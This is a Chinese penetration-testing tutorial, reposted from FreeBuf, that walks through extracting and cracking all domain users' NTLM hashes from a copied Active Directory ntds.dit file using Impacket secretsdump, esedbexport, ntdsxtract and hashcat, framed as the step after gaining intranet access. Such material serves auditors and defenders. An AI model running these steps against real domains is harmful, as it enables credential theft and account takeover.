如何巧妙的从ntds.dit中提取Hash和域信息

姓名:朱晓宇 学号:15180110011

【嵌牛导读】在渗透测试进入内网之后,首要目标就是得到域控权限,将域中所有用户的hash值全部跑出来,下载到本地。很多工具比如meterpreter中的smart_hashdump和Impacket中的secretsdump.py都可以做到。但是有些情况下我只能拷贝出来NTDS.dit文件,然后离线将这些密码提取出来,本文将详细的介绍一下如何将密码导出。

【嵌牛提问】:渗透测试进入内网之后应该如何把域中所有用户的hash值全部跑出呢?

【嵌牛鼻子】:系统安全 hash ntds.dit

假设我已经成功将这两个文件下载到本地:

1. ntds.dit:Extensible storage engine DataBase, version 0x620,checksum0xa50ff5a, pagesize8192, DirtyShutdown, Windowsversion6.1

2.systemhive: MS Windows registryfile, NT/2000orabove

使用Impacket

Imapacket的作者在twitter上告诉我secretsdump.py有一个本地选项,可以很简单的做到将密码提取出来。Impacket实在是太方便了,如果你已经有这两个文件,可以通过执行以下命令就可以得到hash值。

python secretsdump.py -ntds/root/ntds_cracking/ntds.dit -system/root/ntds_cracking/systemhive LOCAL

稍等一会,它就会将域中所有用户的NTLM hash值呈现出来:

这是最简单一种方法,如果你想尝试着使用ntdsxtract导出表,你可以继续阅读~

安装esedbexport

从NTDS.dit中导出用户表的第一步就是使用libesedb中的esedbexport,你可以在下面网页中下载到最新版本:https://github.com/libyal/libesedb/releases我使用的版本是:”libesedb-experimental-20170121”

下载并且解压:

$ wgethttps://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar.gz

$ tar xf libesedb-experimental-20170121.tar.gz

$ cd libesedb-20170121/

安装依赖:

$ sudo apt-getinstall autoconf automake autopoint libtool pkg-config

进行安装:

$ ./configure

$ make

$ sudo make install

$ sudo ldconfig

如果一切顺利地话,你会在/usr/local/bin/esedbexport得到这个工具。

提取表

现在工具已经安装完成,使用这个工具可以从ntds.dit中提取出表,在执行过程中会新建一个名称为ntds.dit.export文件夹存放提取出来的表,命令为:

$/usr/local/bin/esedbexport -m tables ntds.dit

这一步骤进行的时间有点长,在我的机器上进行了20-30分钟,在执行完毕之后,你会看到成功的分离出了表:

【不支持外链图片,请上传图片或单独粘贴图片】

两个重要的表为:datatable以及link_table,他们都会被存放在./ntds.dit.export/文件夹中.

使用ntdsxtract提取域中信息

一旦表被提取出来,很多python工具可以将这些表中的信息进一步提取,比如ntdsxtract就可以完美进行。

安装命令:

$ git clonehttps://github.com/csababarta/ntdsxtract.git

$ cd ntdsxtract/

$ python setup.py build && python setup.py install

执行完毕之后,ntdsxtract就会在你的系统上进行安装。

提取用户信息以及密码hash值

ntdsxtract工具中dsusers.py可以被用来从分离出来的表中提取用户信息以及NT/LM密码hash值。前提是具有如下三个文件:

datatable

link_table

systemhive

这个工具的使用规则为:

dsusers.py--syshive--passwordhashes

–pwdformat选项是选择以什么格式进行提取,有john(John format),ocl(oclHashcat),ophc(OphCrack)三个选项。

这个工具还会将所获得信息输出出来,这也方便了我们可以将信息写入到其他文件当中。

以oclHashcat格式提取所有NT和LM的hash,并将它们保存在”output”目录中的”ntout”和”lmout”中:

$ dsusers.py ntds.dit.export/datatable.3ntds.dit.export/link_table.5output --syshive systemhive --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user_info.txt

执行结束之后,NT的hash值已经以oclHashcat格式提取出来了:

root@kali:~/ntds_cracking# head -n2 output/ntout

user1:BC62AC0F8EA9DD1AD703C8B4F0A968C4

user2:0E10081EDBCFB92DE6156F9046FF7881

进一步查看我们提取出来的文件,我们还可以看到其他信息,比如SID,密码修改时间,以及最后登录时间等等:

通过hashcat进行简单hash破解:

$ hashcat -m1000output/ntout --username/path/to/wordlist

进一步提取域中计算机信息

Ntdsxtract中还具有一个工具可以从分离出来的表中提取域中计算机信息。这对于离线分析目标信息是非常有用的。

在使用过程中,需要对它提供datatable,输出目录以及输出文件,格式为csv:

$ dscomputers.py ntds.dit.export/datatable.3computer_output --csvoutfile all_computers.csv

执行完毕之后他会在all_computers.csv中写入所有域中计算机信息。如下:

head -n1computer_output/all_computers.csv

"Record ID";"Computer name";"DNS name";"GUID";"SID";"OS name";"OS version";"When created";"When changed";"Bitlocker recovery name";"Bitlocker recovery GUID";"Bitlocker volume GUID";"Bitlocker when created";"Bitlocker when changed";"Bitlocker recovery password";"Dial-In Permission"

总结

使用secretsdump.py或者其他方法可以很快的提取域中用户以及其他密码哈希等等信息。不过如果你想通过离线对NTDS.dit以及SYSTEM hive文件进行提取的话,希望这篇文章可以给你提供帮助


*转载自FreeBuf.COM

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 162,050评论 4 370
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 68,538评论 1 306
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 111,673评论 0 254
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,622评论 0 218
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 53,047评论 3 295
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,974评论 1 224
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 32,129评论 2 317
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,893评论 0 209
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,654评论 1 250
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,828评论 2 254
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,297评论 1 265
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,619评论 3 262
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,326评论 3 243
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,176评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,975评论 0 201
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 36,118评论 2 285
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,909评论 2 278

推荐阅读更多精彩内容

  • 国家电网公司企业标准(Q/GDW)- 面向对象的用电信息数据交换协议 - 报批稿:20170802 前言: 排版 ...
    庭说阅读 10,535评论 6 13
  • linux资料总章2.1 1.0写的不好抱歉 但是2.0已经改了很多 但是错误还是无法避免 以后资料会慢慢更新 大...
    数据革命阅读 12,037评论 2 34
  • 散列表,它是基于快速存取的角度设计的,也是一种典型的“空间换时间”的做法。顾名思义,该数据结构可以理解为一个线性表...
    yeying12321阅读 3,668评论 0 6
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,111评论 18 139
  • 丈夫是左手,妻子是右手。 左手摸右手总是没感觉。 当有一天,左手流血了, 右手一定去帮着止血。 右手一定去给挠挠痒...
    牤子阅读 148评论 0 1